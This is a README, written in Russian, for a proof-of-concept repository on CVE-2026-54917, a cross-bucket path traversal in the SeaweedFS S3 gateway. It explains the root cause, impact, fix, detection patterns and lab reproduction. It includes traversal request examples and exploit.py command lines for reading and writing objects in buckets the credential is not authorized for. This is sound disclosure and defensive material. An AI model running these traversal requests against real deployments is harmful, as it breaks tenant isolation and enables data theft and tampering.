CVE-2026-54917 — обход пути между бакетами в S3-шлюзе SeaweedFS

Proof-of-concept и техническое описание для CVE-2026-54917 — обхода пути в S3 API-шлюзе SeaweedFS, который позволяет вызывающей стороне получить доступ к объектам в любом бакете, независимо от того, на что авторизованы её учётные данные.

├── exploit.py           self-contained exploit (read + write, 4 traversal encodings)
├── README.md            this file
├── ANALYSIS.md          source-level root-cause walkthrough
├── EVIDENCE.txt         raw lab transcript (vulnerable + patched boundary)
├── patch-4.30.diff      the security-relevant portion of the official fix
└── lab/                 one-command reproduction (docker-compose / setup.sh)

Краткое описание

Маршрутизатор S3 API построен на mux.NewRouter().SkipClean(true). При отключённой очистке путей сегмент .. внутри пути запроса доживает до маршрутизации. Например, такой запрос:

GET /bucket-a/../evil-bucket/secret.txt

сопоставляется маршрутом mux как {bucket} = "bucket-a", {object} = "../evil-bucket/secret.txt".

Дальше два аспекта расходятся:

• Авторизация выполняется на основе переменной mux {bucket} — bucket-a — которую вызывающей стороне разрешено использовать.
• Ввод-вывод подставляет ключ объекта в путь filer (bucketDir(bucket) + "/" + object), и filer сворачивает .. на стороне сервера, так что чтение/запись фактически попадает в evil-bucket.

В итоге получается классический «запутанный посредник» (confused deputy): IAM проверяет один бакет, а файловая система работает с другим. Субъект, авторизованный для одного бакета, может читать и записывать объекты во всех остальных бакетах экземпляра.

Воздействие

• enableAuth = false — прямое неаутентифицированное межбакетное чтение/запись.
• enableAuth = true — авторизационный «запутанный посредник»: любой аутентифицированный субъект (любой тенант) читает и пишет через границы бакетов, на которые у него нет разрешений. Именно этот случай демонстрируется здесь и является причиной оценки 10.0 / изменённой области действия: учётные данные одного тенанта ломают изоляцию всех остальных.

Эксплуатация

exploit.py использует только стандартную библиотеку Python. Он сам подписывает каждый запрос через SigV4 и формирует строку запроса байт-в-байт, поэтому путь обхода доходит до сервера без изменений — именно это позволяет URL-кодированные варианты, которые обычный S3 SDK переписал бы.

# read a secret from a bucket the credential is NOT authorized for
python3 exploit.py \
  --url http://TARGET:8333 \
  --access-key <key> --secret-key <secret> \
  --auth-bucket bucket-a \          # bucket the credential IS allowed to use
  --target-bucket evil-bucket \     # bucket you are NOT allowed to use
  --key secret.txt

# write into another bucket (integrity impact)
python3 exploit.py ... --target-bucket evil-bucket --key pwned.txt --write payload.bin

# try a different traversal encoding
python3 exploit.py ... --variant enc-slash        # dotdot | enc-dot | enc-slash | enc-backslash

Реализованы четыре варианта обхода пути, все подтверждены на 4.29:

Воспроизведение

cd lab
./setup.sh                       # starts SeaweedFS 4.29 (S3 + IAM) and seeds data
python3 ../exploit.py \
  --access-key TENANTAKEY --secret-key tenantasecret \
  --auth-bucket bucket-a --target-bucket evil-bucket --key secret.txt
# -> HTTP 200 + the secret from a bucket tenant-a cannot read directly

TAG=4.30 ./setup.sh              # patched build, same steps -> HTTP 400 InvalidRequest

Лаборатория включает IAM (lab/s3.json) с двумя учётными записями: admin (полный доступ) и tenant-a (ограничен доступом к bucket-a). Для всей эксплуатации используется только учётная запись tenant-a. Полный протокол — в EVIDENCE.txt.

Корневая причина

См. ANALYSIS.md. Кратко: SkipClean(true) сохраняет .. в маршрутизируемом пути; GetBucketAndObject получает сырые переменные mux; IAM авторизует на основе {bucket}; toFilerPath подставляет {object} (который по-прежнему содержит ..) в путь filer, где он сворачивается и пересекает границу бакета.

Исправление

Исправлено в 4.30 (patch-4.30.diff). Middleware validateRequestPath выполняется до обработчиков бакетов и отклоняет любую захваченную переменную {bucket} / {object}, которая пуста или содержит сегмент обхода, возвращая 400 InvalidRequest. Обновитесь до 4.30 или новее.

Обнаружение

• Любой S3-запрос, путь которого содержит /../, /%2e%2e, ..%2f или ..%5c между сегментом бакета и ключом.
• Журналы доступа, в которых бакет, оценённый IAM, отличается от бакета, в который в конечном счёте разрешился объект.

Благодарности

Caio Fabrício — github.com/BiiTts